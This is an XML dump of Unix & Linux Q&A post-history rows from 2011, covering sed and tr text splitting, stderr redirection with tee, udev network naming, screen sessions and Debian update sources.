  <row Id="22967" PostHistoryTypeId="6" PostId="9637" RevisionGUID="00162b5d-7956-4965-ac94-38c5b8631bdf" CreationDate="2011-03-19T14:13:45.207" UserId="2511" Comment="deleted 4 characters in body; edited tags; edited title" Text="élinuxàémaemoàémobileàémeegoà" />
  <row Id="22968" PostHistoryTypeId="2" PostId="9647" RevisionGUID="ad59249b-6cd2-411b-9708-a836ca8dcc1c" CreationDate="2011-03-19T14:28:53.330" UserId="5307" Text="I've a csv delimited by commas and I want to delimit it by newlines. &#xD;&#xA;Input: a, b, c&#xD;&#xA;Output:&#xD;&#xA;a&#xD;&#xA;b&#xD;&#xA;c&#xD;&#xA;&#xD;&#xA;I've written java parsers that do this stuff, but couldn't this be be done with vim or some other tool?" />
  <row Id="22969" PostHistoryTypeId="1" PostId="9647" RevisionGUID="ad59249b-6cd2-411b-9708-a836ca8dcc1c" CreationDate="2011-03-19T14:28:53.330" UserId="5307" Text="How can I find and replace with a new line?" />
  <row Id="22970" PostHistoryTypeId="3" PostId="9647" RevisionGUID="ad59249b-6cd2-411b-9708-a836ca8dcc1c" CreationDate="2011-03-19T14:28:53.330" UserId="5307" Text="évimàécsvà" />
  <row Id="22971" PostHistoryTypeId="25" PostId="9646" RevisionGUID="b8ba1794-eff1-41c6-9119-cd8c83c0bcc0" CreationDate="2011-03-19T14:31:21.620" Comment="http://twitter.com/#!/StackUnix/status/49115748005711874" />
  <row Id="22972" PostHistoryTypeId="2" PostId="9648" RevisionGUID="0f4e22c9-c79e-439e-8229-400375499c0f" CreationDate="2011-03-19T14:40:51.207" UserId="5763" Text="you can download rpm from sites like rpmfusion and rpmfind etc.[RPM Fusion Repo][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://rpmfusion.org/Configuration&#xD;&#xA;&#xD;&#xA;or repositry information can be manually entered &amp; configured in /etc/yum.repos.d/rpmfusion.repo&#xD;&#xA;&#xD;&#xA;once a repo is added to yum, you can enable/disable using &quot;yum --enable-repo&quot; or &quot;yum --disable-repo&quot;" />
  <row Id="22973" PostHistoryTypeId="2" PostId="9649" RevisionGUID="f3093ca2-2b1e-4012-b7e9-f85718baa2bb" CreationDate="2011-03-19T14:45:39.407" UserId="591" Text="If your file is delimited by ', ' (commas followed by space) then &#xD;&#xA;&#xD;&#xA;`sed 's/, / /g' filename.csv &gt;newfile` &#xD;&#xA;&#xD;&#xA;will do the job. If its delimited by ',' (commas without spaces) then&#xD;&#xA;&#xD;&#xA;`sed 's/,/ /g' filename.csv &gt;newfile` &#xD;&#xA;&#xD;&#xA;will work. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22974" PostHistoryTypeId="5" PostId="9346" RevisionGUID="e882ba01-5988-498e-a9c0-4fc2a74e4b50" CreationDate="2011-03-19T14:46:23.917" UserId="4949" Comment="Updated with current information." Text="That's because Stable, being stable, gets updated only extremely rarely -- roughly once every two months in the case of the previous release, and even then it's more &quot;move security updates into the main tree and rebuild the images&quot; than adding anything new. Adding new stuff is what testing and unstable are for.&#xD;&#xA;&#xD;&#xA;Security updates for the Stable distribution are updated via &#xD;&#xA;&#xD;&#xA;`deb http://security.debian.org/ stable/updates main contrib non-free`&#xD;&#xA;&#xD;&#xA;and for more volatile packages you should also add &#xD;&#xA;&#xD;&#xA;`deb http://cdn.debian.net/debian/ squeeze-updates main contrib non-free`&#xD;&#xA;&#xD;&#xA;to your `/etc/apt/sources.list`  file.&#xD;&#xA;&#xD;&#xA;Useful relevant information from Debian can be found at http://wiki.debian.org/StableUpdates&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EDIT: The first point release update happened today, March 19th. I'm guessing they'll try to stick to a bimonthly schedule, with some elasticity to keep to the Debian standards of reliability and stability." />
  <row Id="22975" PostHistoryTypeId="5" PostId="9649" RevisionGUID="4aa64f76-c9b3-4d02-bf57-e019721078f2" CreationDate="2011-03-19T15:02:18.240" UserId="591" Comment="fixed code based on feedback" Text="If your file is delimited by ', ' (commas followed by space) then &#xD;&#xA;&#xD;&#xA;`sed 's/, /\n/g' filename.csv &gt;newfile` &#xD;&#xA;&#xD;&#xA;will do the job. If its delimited by ',' (commas without spaces) then&#xD;&#xA;&#xD;&#xA;`sed 's/,/\n/g' filename.csv &gt;newfile` &#xD;&#xA;&#xD;&#xA;will work. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22979" PostHistoryTypeId="2" PostId="9651" RevisionGUID="5026a732-1f33-421f-899d-37c6ed90dbc5" CreationDate="2011-03-19T15:08:30.177" UserId="5576" Text="When you use the construction: `1&gt;stdout.log 2&gt;&amp;1` both *stderr* and *stdout* get redirected to the file because the *stdout* redirection is set up before the *stderr* redirection.&#xD;&#xA;&#xD;&#xA;If you invert order you can get *stdout* redirected to a file and **then** copy *stderr* to *stdout* so you can pipe it to `tee`.&#xD;&#xA;&#xD;&#xA;    $ cat test&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    echo OUT! &gt;&amp;1&#xD;&#xA;    echo ERR! &gt;&amp;2&#xD;&#xA;&#xD;&#xA;    $ ./test 2&gt;&amp;1 1&gt;stdout.log | tee stderr.log&#xD;&#xA;    ERR!&#xD;&#xA;&#xD;&#xA;    $ cat stdout.log&#xD;&#xA;    OUT!&#xD;&#xA;&#xD;&#xA;    $ cat stderr.log&#xD;&#xA;    ERR!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22980" PostHistoryTypeId="2" PostId="9652" RevisionGUID="224582b1-7792-4374-afe6-f86b6027fada" CreationDate="2011-03-19T15:14:53.283" UserId="5766" Text="Debian 2 will also be available with the FreeBSD kernel.  Why did they decide to to that and why should I use it?" />
  <row Id="22981" PostHistoryTypeId="1" PostId="9652" RevisionGUID="224582b1-7792-4374-afe6-f86b6027fada" CreationDate="2011-03-19T15:14:53.283" UserId="5766" Text="Why should I use Debian 2 with FreeBSD kernel?" />
  <row Id="22982" PostHistoryTypeId="3" PostId="9652" RevisionGUID="224582b1-7792-4374-afe6-f86b6027fada" CreationDate="2011-03-19T15:14:53.283" UserId="5766" Text="édebianà" />
  <row Id="22984" PostHistoryTypeId="2" PostId="9654" RevisionGUID="c33e757e-ed9c-4929-97c0-cb910ef4339f" CreationDate="2011-03-19T15:19:40.643" UserId="5766" Text="Let `f` be the command you wish to be executed, then this&#xD;&#xA;&#xD;&#xA;    f 2&gt; &gt;(tee /tmp/log &gt;&amp;2)&#xD;&#xA;&#xD;&#xA;should give you what you wish&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22986" PostHistoryTypeId="2" PostId="9655" RevisionGUID="8d6cd262-99d8-427f-9969-f68c9d7de0db" CreationDate="2011-03-19T15:28:31.050" UserId="688" Text="The OS is basically a customised version of Debian, and that means that whatever Debian can do, your N900 can. That's because you can run normal Debian packages on it, and even use official APT sources. As for the hardware part, stuff like point 2 and point 5, I just don't know.&#xD;&#xA;&#xD;&#xA;Note that [the wikipedia page][1] is quite detailed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/N900" />
  <row Id="22987" PostHistoryTypeId="5" PostId="9585" RevisionGUID="6fb42504-c279-4402-ad39-82d3c22ed218" CreationDate="2011-03-19T15:32:34.283" UserId="4671" Comment="additional debug suggestion" Text="Ok, that makes things a bit clearer. [`command-not-found`](http://packages.ubuntu.com/maverick/command-not-found) is a python program, which runs when your command is not something found on the system. (Its function is to suggest alternatives and corrections in case of mistyping etc.) See `/usr/bin/command-not-found`. It is trying to import the `CommandNotFound` module and is unable to, clearly pointing to a screwed up python installation. I'm not that familar with `command-not-found`, but I think fixing your Python installation will make the problem go away.&#xD;&#xA;&#xD;&#xA;Just to elaborate a bit, what is probably happening is that the `command-not-found` module is located somewhere where your default python isn't looking for it. A path problem, basically.&#xD;&#xA;&#xD;&#xA;Debug suggestions: &#xD;&#xA;&#xD;&#xA;1) To start with, what is the output from&#xD;&#xA;&#xD;&#xA;    $ which python&#xD;&#xA;&#xD;&#xA;and what does package/installation does that file belong to?&#xD;&#xA;&#xD;&#xA;2) What is the output for your installation corresponding to&#xD;&#xA;&#xD;&#xA;    $ python&#xD;&#xA;    Python 2.6.6 (r266:84292, Dec 27 2010, 00:02:40) &#xD;&#xA;    [GCC 4.4.5] on linux2&#xD;&#xA;    Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xD;&#xA;    &gt;&gt;&gt; import sys&#xD;&#xA;    &gt;&gt;&gt; sys.path&#xD;&#xA;    ['', '/usr/lib/python2.6', '/usr/lib/python2.6/plat-linux2', '/usr/lib/python2.6/lib-tk', '/usr/lib/python2.6/lib-old', '/usr/lib/python2.6/lib-dynload', '/usr/local/lib/python2.6/dist-packages', '/usr/lib/python2.6/dist-packages', '/usr/lib/python2.6/dist-packages/PIL', '/usr/lib/python2.6/dist-packages/gst-0.10', '/usr/lib/pymodules/python2.6', '/usr/lib/pymodules/python2.6/gtk-2.0', '/usr/lib/python2.6/dist-packages/wx-2.8-gtk2-unicode']&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22988" PostHistoryTypeId="5" PostId="9652" RevisionGUID="9e7a4bd2-3482-4e09-83c5-27059bba363f" CreationDate="2011-03-19T15:33:03.360" UserId="5766" Comment="edited body; edited title" Text="Debian 6 will also be available with the FreeBSD kernel.  Why did they decide to to that and why should I use it?" />
  <row Id="22989" PostHistoryTypeId="4" PostId="9652" RevisionGUID="9e7a4bd2-3482-4e09-83c5-27059bba363f" CreationDate="2011-03-19T15:33:03.360" UserId="5766" Comment="edited body; edited title" Text="Why should I use Debian 6 with FreeBSD kernel?" />
  <row Id="22996" PostHistoryTypeId="5" PostId="9647" RevisionGUID="fffd289a-fdee-4a50-aebb-6c3b79ff48ba" CreationDate="2011-03-19T15:36:16.167" UserId="591" Comment="Fixed formatting" Text="I've a csv delimited by commas and I want to delimit it by newlines. &#xD;&#xA;Input: a, b, c&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    a&#xD;&#xA;    b&#xD;&#xA;    c&#xD;&#xA;&#xD;&#xA;I've written java parsers that do this stuff, but couldn't this be be done with vim or some other tool?" />
  <row Id="22997" PostHistoryTypeId="24" PostId="9647" RevisionGUID="fffd289a-fdee-4a50-aebb-6c3b79ff48ba" CreationDate="2011-03-19T15:36:16.167" Comment="Proposed by 591 approved by -1 edit id of 217" />
  <row Id="22998" PostHistoryTypeId="5" PostId="9647" RevisionGUID="6d8f3b74-ec47-4f6d-a16c-9ca58de83c1f" CreationDate="2011-03-19T15:36:16.353" UserId="73" Comment="added 20 characters in body" Text="I have a CSV delimited by commas and I want to delimit it by newlines instead.&#xD;&#xA;&#xD;&#xA;Input:&#xD;&#xA;&#xD;&#xA;    a, b, c&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    a&#xD;&#xA;    b&#xD;&#xA;    c&#xD;&#xA;&#xD;&#xA;I've written Java parsers that do this stuff, but couldn't this be be done with vim or some other tool?" />
  <row Id="22999" PostHistoryTypeId="2" PostId="9656" RevisionGUID="509c0de8-aa5f-4340-8257-5e0815198275" CreationDate="2011-03-19T15:38:45.727" UserId="73" Text="Similar to [Iain's answer](http://unix.stackexchange.com/users/591/iain), you can also use `tr`:&#xD;&#xA;&#xD;&#xA;    $ echo a,b,c | tr ',' '\n'&#xD;&#xA;    a&#xD;&#xA;    b&#xD;&#xA;    c&#xD;&#xA;&#xD;&#xA;Both answers assume that the CSV is simple (that is, all commas are field separators). If you have something like `a,&quot;b,c&quot;,d` where `b,c` is a single field, then things get more difficult" />
  <row Id="23000" PostHistoryTypeId="5" PostId="9585" RevisionGUID="cd8aa956-ffe0-4eef-b1ce-429f485236cb" CreationDate="2011-03-19T15:39:38.800" UserId="4671" Comment="Minor clarification" Text="Ok, that makes things a bit clearer. [`command-not-found`](http://packages.ubuntu.com/maverick/command-not-found) is a python program, which runs when your command is not something found on the system. (Its function is to suggest alternatives and corrections in case of mistyping etc.) See `/usr/bin/command-not-found`. It is trying to import the `CommandNotFound` module and is unable to, clearly pointing to a screwed up python installation. I'm not that familar with `command-not-found`, but I think fixing your Python installation will make the problem go away.&#xD;&#xA;&#xD;&#xA;Just to elaborate a bit, what is probably happening is that the `command-not-found` module is located somewhere where your default python isn't looking for it. A path problem, basically.&#xD;&#xA;&#xD;&#xA;Debug suggestions: &#xD;&#xA;&#xD;&#xA;1) To start with, what is the output from&#xD;&#xA;&#xD;&#xA;    $ which python&#xD;&#xA;&#xD;&#xA;and what does package/installation does that file belong to?&#xD;&#xA;&#xD;&#xA;2) What is the output for your installation corresponding to the code below? The path here is this python's import path.&#xD;&#xA;&#xD;&#xA;    $ python&#xD;&#xA;    Python 2.6.6 (r266:84292, Dec 27 2010, 00:02:40) &#xD;&#xA;    [GCC 4.4.5] on linux2&#xD;&#xA;    Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xD;&#xA;    &gt;&gt;&gt; import sys&#xD;&#xA;    &gt;&gt;&gt; sys.path&#xD;&#xA;    ['', '/usr/lib/python2.6', '/usr/lib/python2.6/plat-linux2', '/usr/lib/python2.6/lib-tk', '/usr/lib/python2.6/lib-old', '/usr/lib/python2.6/lib-dynload', '/usr/local/lib/python2.6/dist-packages', '/usr/lib/python2.6/dist-packages', '/usr/lib/python2.6/dist-packages/PIL', '/usr/lib/python2.6/dist-packages/gst-0.10', '/usr/lib/pymodules/python2.6', '/usr/lib/pymodules/python2.6/gtk-2.0', '/usr/lib/python2.6/dist-packages/wx-2.8-gtk2-unicode']&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23001" PostHistoryTypeId="4" PostId="9580" RevisionGUID="c0df09db-1904-490e-b3a4-a29f08c14b04" CreationDate="2011-03-19T16:01:17.773" UserId="2511" Comment="edited title" Text="Why is this python error message generated whenever I type a nonsense command?" />
  <row Id="23002" PostHistoryTypeId="2" PostId="9657" RevisionGUID="8f83761e-a8b1-4bbd-a979-67129ea608c9" CreationDate="2011-03-19T16:11:11.043" UserId="2339" Text="I have the following procedure for replicating a Fedora workstation setup.&#xD;&#xA;&#xD;&#xA; 1. Boot from a Live CD, make tgz's of the filesystems.&#xD;&#xA; 1. Go to new machine, make filesystems, dump the tgz's in the proper places.&#xD;&#xA; 1. Adjust UUID's in /etc/fstab and /boot/grub/menu.lst&#xD;&#xA; 1. Run grub-install&#xD;&#xA; 1. Reboot!&#xD;&#xA;&#xD;&#xA;The nice thing is that DHCP assigns the new machine an unique name, and users have /home mounted on the server. Graphics configuration aren't a worry either, since recent versions of Xorg are wicked smart in auto-detecting graphic adapters.&#xD;&#xA;&#xD;&#xA;So everything works like a snap... with the exception of one small quirk:&#xD;&#xA;&#xD;&#xA;In the first boot of the new machine, network startup fails. It turns out the machine thinks there's no such thing as an eth0, but there _is_ an eth1 and it is the machine's onboard ethernet. So I have to go to /etc/sysconfig/network-scripts, rename ifcfg-eth0 to ifcfg-eth1, and edit the DEVICE= line in it. _Then_ I reboot nd everything works.&#xD;&#xA;&#xD;&#xA;I believe somewhere, in some file, there is information associating eth0 with the MAC of the &quot;Master Mold&quot; machine's eth0. But where?&#xD;&#xA;&#xD;&#xA;P.S.: I don't use NetworkManager." />
  <row Id="23003" PostHistoryTypeId="1" PostId="9657" RevisionGUID="8f83761e-a8b1-4bbd-a979-67129ea608c9" CreationDate="2011-03-19T16:11:11.043" UserId="2339" Text="Tarballing an entire Fedora 14 install and replicating it on another machine?" />
  <row Id="23004" PostHistoryTypeId="3" PostId="9657" RevisionGUID="8f83761e-a8b1-4bbd-a979-67129ea608c9" CreationDate="2011-03-19T16:11:11.043" UserId="2339" Text="éfedoraàénetworkingà" />
  <row Id="23005" PostHistoryTypeId="2" PostId="9658" RevisionGUID="57792f5b-a9c5-4e0b-a6af-d90c94b6f5b5" CreationDate="2011-03-19T16:13:13.200" UserId="2511" Text="I think the most compelling reason would be to run [ZFS][z] under a familiar GNU/Linux userspace.&#xD;&#xA;&#xD;&#xA;[z]: http://unix.stackexchange.com/questions/186/zfs-under-linux-does-it-work" />
  <row Id="23006" PostHistoryTypeId="2" PostId="9659" RevisionGUID="ade8a21d-5db6-40bc-9eab-7303af43550f" CreationDate="2011-03-19T16:14:40.393" UserId="4671" Text="On my machine it is&#xD;&#xA;&#xD;&#xA;/etc/udev/rules.d/70-persistent-net.rules&#xD;&#xA;&#xD;&#xA;This is a Debian squeeze machine, but it is probably similar for other Linux distributions. Mine looks like&#xD;&#xA;&#xD;&#xA;    # This file was automatically generated by the /lib/udev/write_net_rules&#xD;&#xA;    # program, probably run by the persistent-net-generator.rules rules file.&#xD;&#xA;    #&#xD;&#xA;    # You can modify it, as long as you keep each rule on a single line.&#xD;&#xA;    # MAC addresses must be written in lowercase.&#xD;&#xA;    &#xD;&#xA;    # Firewire device 00e081000026d042 (ohci1394)&#xD;&#xA;    SUBSYSTEM==&quot;net&quot;, DRIVERS==&quot;?*&quot;, ATTR{address}==&quot;00:e0:81:00:00:26:d0:42&quot;, NAME=&quot;eth0&quot;&#xD;&#xA;    &#xD;&#xA;    # PCI device 0x10de:0x0057 (forcedeth)&#xD;&#xA;    SUBSYSTEM==&quot;net&quot;, DRIVERS==&quot;?*&quot;, ATTR{address}==&quot;00:e0:81:70:18:22&quot;, NAME=&quot;eth1&quot;&#xD;&#xA;&#xD;&#xA;Tip: doing&#xD;&#xA;&#xD;&#xA;    # grep -r eth0 * | less&#xD;&#xA;&#xD;&#xA;will give you the answer in a couple of minutes, probably. That is what I did." />
  <row Id="23007" PostHistoryTypeId="5" PostId="9654" RevisionGUID="cfbe8e34-d347-48a9-add2-ca5951cdde67" CreationDate="2011-03-19T16:15:06.930" UserId="5766" Comment="added 170 characters in body; deleted 1 characters in body" Text="Let `f` be the command you'd like be executed, then this&#xD;&#xA;&#xD;&#xA;    ( exec 3&gt;/tmp/log; f 2&gt;&amp;1 1&gt;&amp;3 |tee &gt;(cat)&gt;&amp;3 )&#xD;&#xA;&#xD;&#xA;should give you what you wish.  For example `wget -O - www.google.de` would take this form:&#xD;&#xA;&#xD;&#xA;    ( exec 3&gt;/tmp/googlelog; wget -O - www.google.de 2&gt;&amp;1 1&gt;&amp;3 |tee &gt;(cat)&gt;&amp;3 )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23008" PostHistoryTypeId="5" PostId="9659" RevisionGUID="d83a53cd-59d8-4c1e-af09-f8b11c4f9404" CreationDate="2011-03-19T16:23:25.033" UserId="4671" Comment="added 4 characters in body" Text="On my machine it is&#xD;&#xA;&#xD;&#xA;/etc/udev/rules.d/70-persistent-net.rules&#xD;&#xA;&#xD;&#xA;This is a Debian squeeze machine, but it is probably similar for other Linux distributions. Mine looks like&#xD;&#xA;&#xD;&#xA;    # This file was automatically generated by the /lib/udev/write_net_rules&#xD;&#xA;    # program, probably run by the persistent-net-generator.rules rules file.&#xD;&#xA;    #&#xD;&#xA;    # You can modify it, as long as you keep each rule on a single line.&#xD;&#xA;    # MAC addresses must be written in lowercase.&#xD;&#xA;    &#xD;&#xA;    # Firewire device 00e081000026d042 (ohci1394)&#xD;&#xA;    SUBSYSTEM==&quot;net&quot;, DRIVERS==&quot;?*&quot;, ATTR{address}==&quot;00:e0:81:00:00:26:d0:42&quot;, NAME=&quot;eth0&quot;&#xD;&#xA;    &#xD;&#xA;    # PCI device 0x10de:0x0057 (forcedeth)&#xD;&#xA;    SUBSYSTEM==&quot;net&quot;, DRIVERS==&quot;?*&quot;, ATTR{address}==&quot;00:e0:81:70:18:22&quot;, NAME=&quot;eth1&quot;&#xD;&#xA;&#xD;&#xA;Tip: doing&#xD;&#xA;&#xD;&#xA;    /etc# grep -r eth0 * | less&#xD;&#xA;&#xD;&#xA;will give you the answer in a couple of minutes, probably. That is what I did." />
  <row Id="23009" PostHistoryTypeId="5" PostId="9637" RevisionGUID="ac725bce-ce10-48f3-9983-2172c16c2b9e" CreationDate="2011-03-19T16:30:18.187" UserId="688" Comment="deleted 23 characters in body" Text="I am interested what N900 can do with Linux-based Maemo 5 system installed.&#xD;&#xA;&#xD;&#xA;Can it for example:&#xD;&#xA;&#xD;&#xA;1. Compile c++ or java files?&#xD;&#xA;2. Hack into wifi (I meant advanced wlan card features)&#xD;&#xA;3. Create own wifi access point?&#xD;&#xA;4. Be WWW server?&#xD;&#xA;5. Use normal usb keyboard? (after changing plug into smaller)&#xD;&#xA;6. Play flash games?" />
  <row Id="23010" PostHistoryTypeId="5" PostId="9654" RevisionGUID="a8399226-e85b-43b3-b7ad-70cf00a1fbbd" CreationDate="2011-03-19T16:30:39.740" UserId="5766" Comment="edited body" Text="Let `f` be the command you'd like be executed, then this&#xD;&#xA;&#xD;&#xA;    ( exec 3&gt;/tmp/log; f 2&gt;&amp;1 1&gt;&amp;3 |tee &gt;(cat)&gt;&amp;3 )&#xD;&#xA;&#xD;&#xA;should give you what you wish.  For example `wget -O - www.google.de` would look like this:&#xD;&#xA;&#xD;&#xA;    ( exec 3&gt;/tmp/googlelog; wget -O - www.google.de 2&gt;&amp;1 1&gt;&amp;3 |tee &gt;(cat)&gt;&amp;3 )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23011" PostHistoryTypeId="5" PostId="8626" RevisionGUID="bc596da2-e2f2-479c-a138-bd92c241754f" CreationDate="2011-03-19T16:36:22.677" UserId="3519" Comment="added 1 characters in body" Text="A variation on geekosaur's answer:  &#xD;&#xA;You might want to try `read -n 1 byte` to read one byte at a time, then do something with `$byte`.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Just tried this as I had never used that command before (just looked up `info bash`), but it seems to munch all white space and line endings. I don't have an explanation for this yet.&#xD;&#xA;&#xD;&#xA;Try the following scripts to fine tune command arguments:&#xD;&#xA;&#xD;&#xA;    (for j in $(seq 1 10); do for i in $(seq 1 100); do echo -n &quot;$i, &quot;; sleep .02; done; echo &quot;&amp; $j.&quot;; done) | (while read line; do echo $line; done)&#xD;&#xA;&#xD;&#xA;    (for j in $(seq 1 10); do for i in $(seq 1 100); do echo -n &quot;$i, &quot;; sleep .05; done; echo &quot;&amp; $j.&quot;; done) | (while read -n 1 byte; do echo -n &quot;$byte&quot;; done)&#xD;&#xA;&#xD;&#xA;So unfortunately this does not give the expected result.&#xD;&#xA;&#xD;&#xA;EDIT (with Chris' help):&#xD;&#xA;&#xD;&#xA;    (for j in $(seq 1 10); do for i in $(seq 1 100); do echo -n &quot;$i, &quot;; sleep .02; done; echo &quot;&amp; $j.&quot;; done) | (while IFS= read -N 1 byte; do echo -n &quot;$byte&quot;; done)&#xD;&#xA;&#xD;&#xA;This gives exactly the expected result.  &#xD;&#xA;Note: whether I use `-n`, `-N`, or `-rN` does not change the result, it's all good (with text, I did not test the limitation that Chris talks about: 0x00 and 0xff)." />
  <row Id="23012" PostHistoryTypeId="2" PostId="9660" RevisionGUID="a544047e-b562-4f00-b62c-fbeb436275e7" CreationDate="2011-03-19T16:59:00.353" UserId="5307" Text="..and then still be able to return to the same session/screen after restarting the terminal machine.&#xD;&#xA;I've tried screen but once I restarted my computer screen -d showed no sessions. Nohup seems to be what I want, but then I lose the ability to see the output later on, other than by saving it to a file. Cannot I pretend more?" />
  <row Id="23013" PostHistoryTypeId="1" PostId="9660" RevisionGUID="a544047e-b562-4f00-b62c-fbeb436275e7" CreationDate="2011-03-19T16:59:00.353" UserId="5307" Text="How can I keep processes running on a remote server even after turning off the terminal machine?" />
  <row Id="23014" PostHistoryTypeId="3" PostId="9660" RevisionGUID="a544047e-b562-4f00-b62c-fbeb436275e7" CreationDate="2011-03-19T16:59:00.353" UserId="5307" Text="ésshàéscreenàénohupàéremoteömanagementà" />
  <row Id="23015" PostHistoryTypeId="2" PostId="9661" RevisionGUID="2f1d3719-df0d-455f-8078-270b9c7df2c5" CreationDate="2011-03-19T17:02:37.840" UserId="4671" Text="Screen should work fine. Give more details about what you are doing. &#xD;&#xA;Common commands: &#xD;&#xA;&#xD;&#xA;    # recover and detach session. If there is only one session, sessionname is not # necessary.&#xD;&#xA;    $ screen -rd sessionname&#xD;&#xA;    # list available screen sessions&#xD;&#xA;    $ screen -ls&#xD;&#xA;&#xD;&#xA;I am not sure why you are using&#xD;&#xA;&#xD;&#xA;    $ screen -d&#xD;&#xA;&#xD;&#xA;All this does is detach a screen session, provided there is only one. I think - I've never actually used it." />
  <row Id="23016" PostHistoryTypeId="5" PostId="348" RevisionGUID="63c3169b-d064-42bc-ae2f-b1e07f67466f" CreationDate="2011-03-19T17:03:54.133" UserId="688" Comment="deleted 4 characters in body" Text="I have Linux machine dedicated to serving static contents and PHP pages with Apache. Apache also work as a reverse proxy in a subdomain. I moved the PostgreSQL database to another Linux machine.&#xD;&#xA;&#xD;&#xA;Is it safe to disable the OOM killer in the kernel?" />
  <row Id="23017" PostHistoryTypeId="5" PostId="9661" RevisionGUID="2b646710-60a9-4300-b1ef-d571cd735466" CreationDate="2011-03-19T17:08:14.107" UserId="4671" Comment="Add command to check whether in screen" Text="Screen should work fine. Give more details about what you are doing. &#xD;&#xA;Common commands: &#xD;&#xA;&#xD;&#xA;    # reattach session and if necessary detach it first.&#xD;&#xA;    # If there is only one session, sessionname is not necessary.&#xD;&#xA;    $ screen -rd sessionname&#xD;&#xA;    &#xD;&#xA;    # list available screen sessions&#xD;&#xA;    $ screen -ls&#xD;&#xA;&#xD;&#xA;I am not sure why you are using&#xD;&#xA;&#xD;&#xA;    $ screen -d&#xD;&#xA;&#xD;&#xA;All this does is detach a screen session, provided there is only one. I think - I've never actually used it.&#xD;&#xA;&#xD;&#xA;I also find&#xD;&#xA;&#xD;&#xA;    $ echo $TERM&#xD;&#xA;&#xD;&#xA;useful to show whether I am actually inside a screen or not, since this is not always obvious. If in a screen, it will return `screen`. If there are better ways to do this, I'd like to know about them." />
  <row Id="23018" PostHistoryTypeId="5" PostId="165" RevisionGUID="300f5db2-7031-44b9-88ca-fbeceeddbb08" CreationDate="2011-03-19T17:13:29.523" UserId="688" Comment="deleted 71 characters in body; edited title" Text="What purpose is each suitable for?" />
  <row Id="23019" PostHistoryTypeId="4" PostId="165" RevisionGUID="300f5db2-7031-44b9-88ca-fbeceeddbb08" CreationDate="2011-03-19T17:13:29.523" UserId="688" Comment="deleted 71 characters in body; edited title" Text="What are the (dis)advantages of ext4, ReiserFS, JFS, and XFS?" />
  <row Id="23020" PostHistoryTypeId="2" PostId="9662" RevisionGUID="ad6488cf-b61e-414c-9127-15cd1e022b40" CreationDate="2011-03-19T17:13:30.997" UserId="5661" Text="I think that you were on the right way, `screen` is what you want and not `nohup`. As you said with `nohup` you cannot change the settings (get your environment back) after logging out the remote server. `screen` supports that. Look in this [tutorial](http://www.rackaid.com/resources/linux-screen-tutorial-and-how-to/)." />
  <row Id="23022" PostHistoryTypeId="5" PostId="279" RevisionGUID="13d812c8-5142-4557-aecd-35f27d00a103" CreationDate="2011-03-19T17:18:06.010" UserId="688" Comment="deleted 42 characters in body; edited tags; edited title" Text="I would like to know if is there any utility like Debian's pbuilder, to build RPM packages on RedHat using a clean environment (chroot).&#xD;&#xA;&#xD;&#xA;I've found [mach][1] which has support for something like this but under a Debian environment, and doesn't support RHEL. I need something that runs on RHEL 5.5.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thomas.apestaart.org/projects/mach/" />
  <row Id="23023" PostHistoryTypeId="4" PostId="279" RevisionGUID="13d812c8-5142-4557-aecd-35f27d00a103" CreationDate="2011-03-19T17:18:06.010" UserId="688" Comment="deleted 42 characters in body; edited tags; edited title" Text="Is there a pbuilder-like environment for RedHat?" />
  <row Id="23024" PostHistoryTypeId="6" PostId="279" RevisionGUID="13d812c8-5142-4557-aecd-35f27d00a103" CreationDate="2011-03-19T17:18:06.010" UserId="688" Comment="deleted 42 characters in body; edited tags; edited title" Text="érhelàérpmàéchrootà" />
  <row Id="23025" PostHistoryTypeId="5" PostId="9662" RevisionGUID="340d4a7a-ca34-4fad-8834-36fc7b42ebe3" CreationDate="2011-03-19T17:19:06.983" UserId="5661" Comment="rephrased" Text="I think that you were on the right way, `screen` is what you want and not `nohup`. As you said with `nohup` you cannot &lt;del&gt;change the settings&lt;/del&gt; get your environment back after logging out the remote server. `screen` supports that. Look in this [tutorial](http://www.rackaid.com/resources/linux-screen-tutorial-and-how-to/)." />
  <row Id="23026" PostHistoryTypeId="5" PostId="9661" RevisionGUID="170fda9e-9632-4f3e-8b71-44026e94629f" CreationDate="2011-03-19T17:20:55.583" UserId="4671" Comment="added 13 characters in body" Text="Screen should work fine. Give more details about what you are doing. &#xD;&#xA;Common commands: &#xD;&#xA;&#xD;&#xA;    # reattach session and if necessary detach it first.&#xD;&#xA;    # If there is only one session, sessionname is not necessary.&#xD;&#xA;    $ screen -rd sessionname&#xD;&#xA;    &#xD;&#xA;    # list available screen sessions&#xD;&#xA;    $ screen -ls&#xD;&#xA;&#xD;&#xA;I am not sure why you are using&#xD;&#xA;&#xD;&#xA;    $ screen -d&#xD;&#xA;&#xD;&#xA;All this does is detach a screen session, provided there is only one. Otherwise it will ask which one you want to detach.&#xD;&#xA;&#xD;&#xA;I also find&#xD;&#xA;&#xD;&#xA;    $ echo $TERM&#xD;&#xA;&#xD;&#xA;useful to show whether I am actually inside a screen or not, since this is not always obvious. If in a screen, it will return `screen`. If there are better ways to do this, I'd like to know about them." />
